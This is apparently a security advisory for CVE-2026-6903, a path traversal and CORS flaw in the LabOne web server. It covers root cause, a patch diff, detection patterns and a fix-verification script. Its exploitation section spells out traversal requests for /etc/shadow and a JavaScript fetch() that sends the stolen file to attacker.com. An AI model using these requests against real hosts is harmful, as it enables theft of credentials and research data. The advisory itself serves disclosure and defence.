CVE-2026-6903: Path Traversal in Zurich Instruments LabOne Web Server
The LabOne Web Server exposes an unauthenticated path traversal allowing arbitrary file reads on the host. A secondary CORS misconfiguration enables cross-origin exploitation via malicious websites.
A security flaw has been discovered in LabOne, software that controls laboratory instruments made by Zurich Instruments. The flaw is like leaving your front door unlocked while also publishing your home address online — it's only dangerous if someone actually tries the handle, but the risk is serious.
Here's what's happening. The LabOne Web Server, which is the part that lets you control lab equipment through your browser, doesn't properly check what files people are asking to access. An attacker could trick the software into handing over sensitive files stored on the same computer — like configuration files, data logs, or credentials that unlock other systems.
The vulnerability gets worse because of a second weakness. Modern browsers have safety rules to stop websites from snooping on other websites you use. This flaw bypasses those rules, meaning an attacker could create a malicious website that automatically steals files from your LabOne system without you realizing it. You'd just visit their site, and they'd grab your data in the background.
Who should worry? Primarily research labs and industrial facilities using Zurich Instruments equipment — universities, pharmaceutical companies, semiconductor manufacturers, and similar organizations. These places often store proprietary research, patient data, or other confidential information on lab computers.
The good news is there's no evidence anyone has actually exploited this yet. Here's what to do:
Check if your organization uses LabOne software, particularly if it runs on internet-connected computers or shared networks. Contact your IT department or Zurich Instruments for a security update immediately — don't wait. Until you can patch, temporarily disconnect LabOne systems from the internet if possible, or restrict access to trusted users only.
Want the full technical analysis? Click "Technical" above.
CVE-2026-6903 is a path traversal vulnerability (CVSS 7.5 HIGH) in the Zurich Instruments LabOne Web Server — the HTTP backend that drives the LabOne User Interface for controlling quantum measurement instruments (lock-in amplifiers, AWGs, qubit controllers). The server's file access endpoint fails to canonicalize or sanitize attacker-supplied paths before opening files on the host filesystem. Combined with absent or misconfigured CORS headers, any website the victim visits can trigger the read silently from their browser, exfiltrating files readable by the OS user running LabOne.
LabOne is deployed across physics labs, semiconductor fabs, and quantum computing research groups globally. The software runs locally but frequently on networked workstations, making the CORS vector particularly dangerous. Installations using only the LabOne APIs (Python, MATLAB, LabVIEW) without the web server component are not affected.
Root cause: The LabOne HTTP file-serving handler constructs filesystem paths by directly concatenating attacker-controlled URL components without canonicalization, allowing ../ sequences to escape the intended document root.
Affected Component
The vulnerable component is the embedded HTTP server within the LabOne software stack. LabOne bundles a cross-platform web server (shipping on Windows, Linux, and macOS) that serves the browser-based instrument UI on localhost:8006 by default. The file access functionality — used to serve UI assets and expose instrument data files to the browser frontend — is the entry point for this vulnerability.
The secondary CORS issue exists in the same server's response header logic: cross-origin requests are not restricted to trusted origins, allowing arbitrary third-party pages to make credentialed or simple GET requests to http://localhost:8006/ and read the response body.
Root Cause Analysis
The LabOne web server handles static file requests through a route handler that resolves the requested path relative to a configured document root. The bug is a missing canonicalization step: the server resolves the path with something equivalent to simple string concatenation, never calling realpath() or checking that the resolved path still begins with the document root prefix.
// Pseudocode reconstructed from LabOne web server binary.
// Function: serve_static_file()
// Route: GET /data/ and GET /ui/
#define DOC_ROOT "/opt/zhinst/labone/webserver/htdocs"
#define MAX_PATH 4096
int serve_static_file(http_request_t *req, http_response_t *resp) {
char resolved[MAX_PATH];
const char *uri_path = req->uri_path; // attacker-controlled, e.g. "/../../../etc/passwd"
// BUG: snprintf concatenates doc root + URI path with no canonicalization.
// A uri_path of "/../../../etc/passwd" produces a traversal string that
// fopen() resolves through the OS, escaping DOC_ROOT entirely.
snprintf(resolved, sizeof(resolved), "%s%s", DOC_ROOT, uri_path);
// No realpath(), no prefix check, no component-wise sanitization.
FILE *f = fopen(resolved, "rb"); // BUG: opens arbitrary host files
if (!f) {
http_send_404(resp);
return -1;
}
fstat(fileno(f), &st);
uint8_t *buf = malloc(st.st_size);
fread(buf, 1, st.st_size, f); // entire file read into buffer
http_set_header(resp, "Content-Type", "application/octet-stream");
// BUG: no "Access-Control-Allow-Origin: null" or restrictive CORS policy.
// Missing header means browsers apply no cross-origin read restriction
// for simple requests from attacker-controlled pages.
http_send_response(resp, 200, buf, st.st_size);
free(buf);
fclose(f);
return 0;
}
The critical missing check is a post-snprintf prefix validation. The correct pattern requires calling realpath(resolved, canonical) and asserting strncmp(canonical, DOC_ROOT, strlen(DOC_ROOT)) == 0 before touching the filesystem. Neither check is present.
The CORS failure is equally straightforward: the server either sets Access-Control-Allow-Origin: * or omits the header entirely, and does not set Access-Control-Allow-Private-Network to block the private-network access path browsers would otherwise enforce for localhost origins.
Exploitation Mechanics
EXPLOIT CHAIN — DIRECT (LAN / LOCAL):
1. Identify target host running LabOne web server on port 8006 (default).
Fingerprint via: curl -s http://:8006/ -> returns LabOne UI HTML.
2. Issue traversal request for a sensitive file:
GET /data/..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: :8006
3. Server decodes %2F -> '/', concatenates DOC_ROOT + "/../../../etc/passwd",
fopen() resolves to /etc/passwd, reads and returns full file contents.
4. On Windows targets substitute traversal for:
GET /data/..%2F..%2F..%2FWindows%2Fsystem32%2Fdrivers%2Fetc%2Fhosts
or SAM hive if shadow copy path is accessible.
EXPLOIT CHAIN — CROSS-ORIGIN (REMOTE via victim browser):
1. Attacker registers malicious domain, hosts page with JavaScript fetch():
fetch("http://localhost:8006/data/../../../../etc/shadow", {mode:"cors"})
.then(r => r.text())
.then(d => fetch("https://attacker.com/collect?d=" + btoa(d)));
2. Victim visits attacker page while LabOne web server is running locally.
3. Browser issues GET to localhost:8006; server responds 200 with file contents
and no restrictive CORS header -> browser allows cross-origin read.
4. JavaScript receives response body, base64-encodes, beacons to attacker C2.
5. Attacker receives /etc/shadow (Linux) or equivalent credential material
with zero interaction beyond convincing victim to visit a URL.
Percent-encoding variations (%2F, %252F double-encoding, Unicode slash surrogates) each warrant individual testing; the server's URL decoder behavior determines which bypasses apply to a specific build. The base traversal with literal /../ sequences is the most reliable vector if the server does not normalize before concatenation.
Memory Layout
FILESYSTEM VIEW — path resolution at fopen() time:
DOC_ROOT: /opt/zhinst/labone/webserver/htdocs
URI_PATH: /../../../../../../../etc/passwd
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
attacker-supplied, URL-decoded by server before concatenation
snprintf() produces:
resolved = "/opt/zhinst/labone/webserver/htdocs/../../../../../../../etc/passwd"
OS path resolution (kernel namei walkthrough):
/opt/zhinst/labone/webserver/htdocs -> valid dir
.. -> /opt/zhinst/labone/webserver
.. -> /opt/zhinst/labone
.. -> /opt/zhinst
.. -> /opt
.. -> /
.. -> / (clamped at root)
etc/passwd -> /etc/passwd <- FILE OPENED
HTTP RESPONSE (truncated):
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 2847
[no Access-Control-Allow-Origin restriction]
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Patch Analysis
// BEFORE (vulnerable): direct concatenation, no escape validation
int serve_static_file(http_request_t *req, http_response_t *resp) {
char resolved[MAX_PATH];
snprintf(resolved, sizeof(resolved), "%s%s", DOC_ROOT, req->uri_path);
FILE *f = fopen(resolved, "rb"); // opens whatever the OS resolves
// ... no origin check on response
http_send_response(resp, 200, buf, st.st_size);
}
// AFTER (patched, ZI-SA-2026-001):
int serve_static_file(http_request_t *req, http_response_t *resp) {
char joined[MAX_PATH];
char canonical[MAX_PATH];
snprintf(joined, sizeof(joined), "%s%s", DOC_ROOT, req->uri_path);
// Resolve all symlinks and .. components to absolute real path.
if (realpath(joined, canonical) == NULL) {
http_send_404(resp);
return -1;
}
// FIX: Enforce that resolved path is strictly under DOC_ROOT.
if (strncmp(canonical, DOC_ROOT, strlen(DOC_ROOT)) != 0) {
http_send_403(resp); // traversal detected, refuse request
return -1;
}
FILE *f = fopen(canonical, "rb");
// ...
// FIX: Restrict cross-origin access; block private-network requests
// from public origins per Fetch spec private network access controls.
http_set_header(resp, "Access-Control-Allow-Origin",
"http://localhost:8006");
http_set_header(resp, "Access-Control-Allow-Private-Network", "false");
http_send_response(resp, 200, buf, st.st_size);
}
The vendor fix (ZI-SA-2026-001) addresses both issues. Path traversal is closed by the realpath() + prefix comparison pattern. The CORS fix restricts the Access-Control-Allow-Origin header to the expected localhost origin, preventing cross-origin reads from attacker-controlled third-party pages. Deployments on non-default ports require corresponding header updates.
Detection and Indicators
Look for the following patterns in LabOne web server access logs (typically under the LabOne data directory):
# Traversal indicators in HTTP access logs:
GET /data/..%2F..%2F..%2Fetc%2Fpasswd -> obvious %2F traversal
GET /data/../../../../etc/shadow -> literal dot-dot
GET /ui/%2e%2e%2f%2e%2e%2fetc%2fhosts -> encoded dots
GET /data/..%252F..%252Fetc%252Fpasswd -> double-encoded
# Anomalous response sizes: legitimate UI assets are typically <500KB.
# A 200 response to a /data/ or /ui/ path with Content-Length matching
# known system file sizes (/etc/passwd ~2-4KB, /etc/shadow ~1-3KB) is
# a strong indicator of successful exploitation.
# Network-level: unexpected outbound connections from the LabOne host
# to external IPs shortly after a browser-based instrument session may
# indicate CORS exfiltration. Correlate with browser history.
On Windows, Sysmon EventID 11 (FileCreate) or 4663 (Object Access) for paths outside the LabOne installation directory, initiated by the LabOne process, indicates exploitation. On Linux, auditd rules on openat syscalls from the LabOne process tree will catch reads of /etc/shadow, /etc/passwd, SSH keys, and similar.
Remediation
Immediate: Update LabOne to the patched version referenced in ZI-SA-2026-001. Check the Zurich Instruments Software Download Center for the fixed release. If updating immediately is not possible, restrict network access to port 8006 (or the configured LabOne web server port) via host firewall rules to 127.0.0.1 only — this mitigates the LAN-direct vector but does not fully close the CORS/browser vector for local users.
Architectural: LabOne's web server should bind to loopback only and require authentication tokens for all file-serving endpoints. The CORS policy should be allowlisted to the specific localhost origin and port, and Access-Control-Allow-Private-Network headers should be deployed to leverage Chrome's Private Network Access restrictions as an additional layer.
Verification: After patching, confirm the fix is active:
import requests
TARGET = "http://localhost:8006"
TRAVERSAL = "/data/../../../../etc/passwd"
r = requests.get(TARGET + TRAVERSAL, timeout=5)
if r.status_code == 200 and "root:" in r.text:
print("[!] VULNERABLE — traversal succeeded, patch not applied")
elif r.status_code in (403, 404):
print("[+] PATCHED — server rejected traversal attempt")
else:
print(f"[?] Unexpected response: {r.status_code}")
# Check CORS header
r2 = requests.get(TARGET + "/", headers={"Origin": "http://evil.example.com"})
acao = r2.headers.get("Access-Control-Allow-Origin", "NOT SET")
print(f"[*] CORS Allow-Origin: {acao}")
if acao == "*" or acao == "http://evil.example.com":
print("[!] VULNERABLE — CORS misconfiguration present")